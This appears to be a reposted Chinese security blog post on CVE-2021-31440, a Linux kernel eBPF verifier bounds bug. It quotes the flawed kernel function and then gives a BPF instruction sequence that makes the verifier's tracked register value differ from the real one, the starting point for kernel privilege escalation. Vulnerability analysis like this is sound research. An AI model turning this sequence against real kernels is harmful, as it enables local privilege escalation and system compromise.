概述
漏洞详情
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
{
__mark_reg32_unbounded(reg);
if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) { // (1)
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
if (__reg64_bound_u32(reg->umin_value)) // (2)
reg->u32_min_value = (u32)reg->umin_value;
if (__reg64_bound_u32(reg->umax_value)) // (3)
reg->u32_max_value = (u32)reg->umax_value;
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
*/
__reg_deduce_bounds(reg);
__reg_bound_offset(reg);
__update_reg_bounds(reg);
}
漏洞利用
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_NEG, BPF_REG_2, 0),
BPF_ALU64_IMM(BPF_NEG, BPF_REG_2, 0),
BPF_JMP_IMM(BPF_JGE, BPF_REG_2, 1, 1),
BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 1),
BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0),
BPF_MOV32_REG(BPF_REG_2, BPF_REG_2), // verifier: 1, reality: 0
BPF_ALU64_IMM(BPF_MUL, BPF_REG_2, -1), // verifier: -1, reality: 0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1), // verifier: 0, reality: 1
END
本文始发于微信公众号(SecTr安全团队):CVE-2021-31440:Linux kernel eBPF模块漏洞详情
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论